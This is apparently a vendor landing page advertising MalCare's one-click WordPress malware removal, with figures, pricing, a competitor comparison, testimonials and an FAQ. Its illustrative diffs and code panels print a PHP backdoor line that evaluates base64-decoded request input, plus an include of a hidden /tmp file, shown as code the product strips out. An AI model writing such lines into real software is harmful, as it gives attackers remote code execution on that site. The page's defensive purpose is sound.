Hacked at 9:02. Clean by 9:07.

Every hour malware stays, it costs you — rankings, traffic, customers, your sender reputation. MalCare finds the infection with pinpoint accuracy and removes it from everywhere it lives, in minutes. Your content, orders, and customizations stay exactly where they were.

$ one click — payloads, backdoors, and re-infectors removed · content untouched

1,500+sites cleaned / month
Unlimitedcleanups · flat price
Humanspersonalized expert support
ONE CLEANUP · CLOCKEDFIG. 0 · MINUTES, NOT DAYS00:0005:0000:00scan started02:10safety backup04:15validated · CLEAN ✓01:404 detections · pinned03:30removed · 4/4 locationsTHE OTHER WAY · A TYPICAL CLEANUP SERVICEticketqueueback & forthday 2…hours to days — while the meter runsevery step timestamped in your cleanup reportthe wait you're not doing
cleanup loglive
active infection?respond now

Hacked right now?

Visitors redirecting, "Deceptive Site Ahead", a suspension email from your host. Start a cleanup now — or talk to a human first. A real person answers.

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01The meter

Malware doesn't sit still. It compounds.

An infection isn't a state — it's a process. Every day it runs, it does new damage in new places. And some of that damage doesn't heal when the malware is gone.

FIG. 1What the infection does while you wait
DAY 0 · INFECTEDWEEK 1MONTH 1MONTH 3+SEOTRAFFICCUSTOMER DATAEMAILGOOGLEHOSTspam pages indexed · rankings slidevisitors bounce off redirects · conversions diecard skimmers harvest checkout fieldsdomain lands on spam blocklists · deliverability sinks"Deceptive Site Ahead" · blacklistedaccount suspended · site offlineCLEANED IN MINUTES →almost none of this ever startsthe average infection runs 180 days before it's even discovered

Read: removal stops every track instantly. But rankings, sender reputation, and customer trust rebuild slowly — which is why the cheapest hour of a hack is always the first one.

FIG. 1Damage while you wait
1.1

SEO

Spam pages get indexed; rankings slide.

SLOW TO HEAL
1.2

Traffic

Visitors bounce off redirects; conversions die.

STOPS ON CLEANUP
1.3

Customer data

Card skimmers harvest checkout fields.

STOPS ON CLEANUP
1.4

Email

Your domain lands on spam blocklists.

SLOW TO HEAL
1.5

Google

"Deceptive Site Ahead" — blacklisted in search.

CLEARS IN DAYS
1.6

Host

Account suspended; site offline entirely.

WE HELP RESTORE

A leak doesn't ruin a house in an hour. It ruins it over a wet month — the average infection runs 180 days before anyone even notices it.

02Precision

You can't remove in minutes what you haven't found exactly.

Cleanup services are slow because they're searching. MalCare's scanner hands removal an exact target list — file, line, table, row, cron — so removal is surgical: the malware goes, everything of yours stays.

FIG. 2Surgical removal · in a file and in the database
footer.php · infected → cleaned
// your theme code — untouched
<?php wp_footer(); ?>
- eval(base64_decode($_GET['x']));
- include '/tmp/.cache.php';
</body></html>
REMOVED · 2 injected lines · 41 lines kept
wp_options · option_id 8412
option_name: widget_text — kept
- s:412:"PGRpdiBzdHlsZT0iZGlz…";
+ payload stripped · row preserved
// 1,204 other rows verified · unchanged

Read: no "delete the uploads folder", no "reinstall everything". The injected lines go; your code, content, and settings stay byte-for-byte.

Powered by the scanner that finds what others miss — pinpoint detection is what makes surgical removal possible. How the scanner works →

03Completeness

Miss one backdoor and you're re-hacked by the weekend.

An infection is a system: the hack you can see, plus the backdoors, rogue admin accounts, re-infecting crons, and fake plugins you can't. Cleaning the symptom without the system is why "cleaned" sites get hacked again.

FIG. 3The infection is a system · we take the whole graph
VISIBLE HACKredirect on every pagethe part you seebackdoor · wp-compat/fake plugin · keeps a door openrogue admin · id 7logs back in after cleanupcron · 03:12 nightlyre-installs the payloaddropper · logo.pngPHP disguised as an imageREMOVEDREMOVEDREMOVEDREMOVEDREMOVEDremove only the visible node and the graph regrows overnight — we take the whole graph.
FIG. 3The infection is a system
3.1

The visible hack

A redirect on every page — the part you see.

REMOVED
3.2

The backdoor

A fake plugin that keeps a door open for the attacker.

REMOVED
3.3

The rogue admin

An account that just logs back in after a cleanup.

REMOVED
3.4

The re-infector

A nightly cron that re-installs the payload.

REMOVED
3.5

The dropper

PHP disguised as an image, waiting in /uploads.

REMOVED
3.6

Everywhere we clean

WordPress core · plugins & themes · uploads · database tables · .htaccess · scheduled crons · user accounts.

ALL LOCATIONS
3.7

Everything we close

Payloads and the access routes: backdoors, rogue admins, re-infection loops — not just the symptom.

ROUTES CLOSED
04The steps

Four steps. As calm as a checklist.

The whole point of an emergency procedure is that it isn't dramatic. Scan, safeguard, remove, verify — the same sequence that has cleaned 1,500+ sites this month.

FIG. 4.1function handle($req) {  $file = sanitize(    $req['file']);  eval(base64_decode(    $_GET['x']));  process($file);}pinned · line 41STEP 01 · <3 MIN

Pinpoint scan

Every file and table, scanned on our servers. Removal starts from an exact target list — file, line, row, cron.

FIG. 4.2eval(b64_dec(  $_GET['x']))process($file)#bk-2481eval(b64_dec(  $_GET['x']))process($file)restore point ✓backed up before any change is madeSTEP 02 · REVERSIBLE

Safety backup first

Everything we're about to touch is backed up. Every change is reversible before it's made — nothing is guess-deleted.

FIG. 4.3$out = render($page);eval(base64_decode(  $_GET['x']));echo $out;− 2 lines removed · 41 keptcontent untouched ✓ · ~60 secondseval(base64_decode(  $_GET['x']));STEP 03 · ONE CLICK

Remove everywhere

Payloads, backdoors, rogue admins, crons — gone from every location at once, surgically.

FIG. 4.4rescan: cleancontent: 12,304 posts intactcore checksums: matchfirewall + daily scans: onPROTECTEDSTEP 04 · VERIFIED

Validate + protect

Rescan clean, content verified, checksums matched — then the firewall and daily scans switch on.

Expand: how automated removal stays safe

Every removal is staged: the exact bytes to be removed are identified first, backed up second, and removed third — then the site is re-verified against both the scanner and content-integrity checks. A removal that would touch anything ambiguous doesn't proceed automatically; it escalates to a human security engineer who resolves it with you. That's the discipline behind "one click": not bravado — reversibility.

It's also why cleanups don't break sites: we never delete folders wholesale, never reinstall over your customizations, and never touch content rows. The 0.2% false-positive rate means the target list is right; the safety backup means even "right" is reversible.

05Three ways out

One click. Zero clicks. Or someone who does it for you.

However a hack meets you — hands-on, hands-off, or locked out of your own site — there's a path that ends clean. Same four steps, same safety checks, every time.

CLEAN~60 seconds · you stay in control

One click

You press the button

Review the detections — exact file, line, table, row — then click Clean. Removal runs in about a minute, safety-backed and surgical. You stay in control of every change.

AUTO · NO CLICKSdetected · 03:41removed · 03:42same safety pipeline · no human needed

Zero clicks · auto-clean

Gone before you finish reading the alert

Turn on automatic removal and cleanup starts the moment detection lands — same backup-first, safety-checked pipeline, no human required. An infection's lifespan drops to minutes. You get the report, not the emergency.

site down✓ restoredENGINEERhuman · expertcleanup + google review + your host

White glove

Locked out? We go in for you

Site down, wp-admin unreachable, host account suspended — our security engineers take it end-to-end: the cleanup, the Google review, the call with your host. You watch your site come back.

All three end the same way: validated clean · protection on · unlimited re-cleanups

06After the cleanup

Clean is minute five. Then we start on the damage.

Removal stops the bleeding instantly. Recovery — rankings, reputation, the Google warning, a suspended account — is a process, and we run it with you.

6.1

Validation report

A timestamped record: what was found, what was removed, what was verified clean.

IMMEDIATE
6.2

Google blacklist review

We help file the review request and get "Deceptive Site Ahead" taken down.

DAYS, NOT WEEKS
6.3

Host reinstatement

Suspended? Our experts work with your host to get the account restored.

WE HANDLE IT
6.4

Hardening + firewall

Protection switches on — the entry point that let this happen gets closed.

ON BY DEFAULT
6.5

Daily watch

Deep scans run daily; any recurrence is caught in minutes, not months.

CONTINUOUS
6.6

Unlimited re-cleanups

If it ever comes back, we clean it again. No per-incident fees, ever.

FREE · FOREVER
FIG. 5The recovery curve · honest timelines
INFECTIONGOOGLE WARNINGRANKINGS & TRAFFICEMAIL REPUTATIONCLEANED · MINUTE 5stopped · instantlyreview filed → warning cleared in daysrebuilds over weeks — and it starts at minute five, not day fivesender reputation rebuilds graduallyPROTECTED · firewall on · daily scans watching · re-cleanups free

Read: we won't tell you rankings recover overnight — they don't. We will tell you every recovery clock starts the moment the malware is gone, and none of them start while you wait.

FIG. 5Honest recovery timelines
6.7

Infection

Stops instantly at cleanup.

MINUTE 5
6.8

Google warning

Review filed; warning cleared.

DAYS
6.9

Rankings & email

Rebuild gradually — every clock starts at minute five.

WEEKS

One flat price. Unlimited cleanups. A re-infection costs you nothing but the click.

07The comparison

The other ways out of a hack — and what they cost you.

There are three exits: a cleanup service, restoring a backup, or MalCare. Two of them have a bill you don't see until later.

FIG. 6Three exits, compared honestly
criterionmalcarecleanup servicesrestore from backup
time to cleanMinutes — one click, any hourHours to days — tickets, queues, time zonesAn hour — plus everything below
completenessEvery location — payloads, backdoors, rogue admins, cronsVaries with the analyst on your ticketThe backdoor usually predates the backup — the hack returns
your recent dataIntact — content untouchedIntactLost — every order, post & edit since the backup
re-infection costFree — unlimited cleanups, flat price$490 per cleanup at a leading competitorYour time — again
expert helpIncluded — personalized, incl. blacklist & host suspensionVaries · often extraYou're on your own
FIG. 7The backup trap
INFECTED PERIODINFECTIONday −40YOUR LATEST BACKUPday −7taken inside the infected period —it already contains the backdoorTODAYyou restore7 days of orders & edits — goneRESULT: A WEEK-OLD COPY OF YOUR SITE — STILL INFECTEDyou lost a week and kept the hack.

Read: backups are essential — for disasters. They're the wrong tool for infections, because a backup faithfully preserves everything — including the malware.

FIG. 7The backup trap
7.1

Infection · day −40

The backdoor arrives weeks before you notice anything.

HIDDEN
7.2

Backup · day −7

Taken inside the infected period — it already contains the backdoor.

INFECTED TOO
7.3

Restore · today

Seven days of orders and edits gone — and the site is still infected.

WEEK LOST · HACK KEPT
08Humans

And when you want a human — we're already awake.

Personalized support from security experts. Mid-emergency or after the dust settles, you never have to work this out alone.

Mid-hack, right now

Emergency cleanup, guided

An expert walks the cleanup with you — including filing the Google blacklist review and working with your host to lift a suspension. You watch it get fixed.

After the cleanup

A second pair of eyes

Want the report walked through, the entry point explained, or your protection setup reviewed? Ask the team that cleans 1,500+ sites a month.

Real security engineers · personalized · included, not extra

09Proof

Measured, not claimed.

Cleanup numbers from the live network — and the people who've used it mid-hack.

0sites cleaned / month
0minutes to find it all
0one-click clean
0false positives · all scans
Unlimitedre-cleanups · flat price

FIG. 8 — cleaned across the network, live

cleanup feedlive

What a cleanup should cost

malcareflat · unlimited
leading competitor$490 · per cleanup

re-infections happen — which pricing would you rather be on?

"

I've tried other plugins, but every time I got hacked, I spent hours trying to fix things. MalCare's one-click cleanup was SO easy! It saves me hours whenever a site gets hacked.

Kristina RomeroKristina RomeroWP Care Market · Founder
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"

I had been running iThemes, WordFence & Sucuri, but they kept getting hacked. Then I installed MalCare, which quickly found the malware and cleaned up the entire site.

Adam SilverAdam SilverConciergeWP · Founder
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"

I was on the beach with my family when MalCare notified me of a plugin vulnerability across 50 of my sites. With one click on my smartphone, all sites were fixed within minutes.

Paul LaceyPaul LaceyWordPress Expert
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Point-in-time figures as of July 2026 · refreshed monthly · competitor price per their published cleanup fee

10Questions

Answered straight.

Will the cleanup break my site or lose my content?+

No. The parts we touch are backed up before anything changes, and removal is surgical — injected code goes, your files, content, orders, and settings stay. If anything is ever ambiguous, a human resolves it with you instead of guessing.

How fast is it, really?+

The scan finds everything in under 3 minutes; the one-click clean takes about a minute. What can take longer: Google's blacklist review (days — we file it) and host reinstatement (we work with your host directly).

What if the malware comes back?+

We clean it again — free. Cleanups are unlimited at one flat price, and after every cleanup protection switches on so recurrence is caught in minutes, not months.

Can you get me off Google's blacklist or un-suspend my hosting?+

Yes. Our experts help file the Google review to clear "Deceptive Site Ahead", and work with your webhost to restore a suspended account. Both are included, not extra.

Should I just restore a backup instead?+

Usually not. Infections typically start weeks before you notice, so your recent backups already contain the backdoor — restoring loses your latest orders and edits and keeps the hack. Backups are for disasters; removal is for infections.

Do I need the scanner too?+

They're one system. The scanner's pinpoint detection is what makes minute-scale surgical removal possible — removal without exact locations is just searching.

What does it cost?+

One flat price, no hidden charges, unlimited cleanups. For contrast, a leading competitor charges $490 per cleanup — every time.

I'm not technical. Can I do this?+

Yes — it's genuinely one click, and human experts are on call if you'd rather someone walk it with you. No technical know-how required.

11Start

The meter's running. Stop it in minutes.

Pinpoint scan, surgical removal, humans on call — and if it ever comes back, we clean it again for free.

Flat price · unlimited cleanups · personalized expert help · works on any host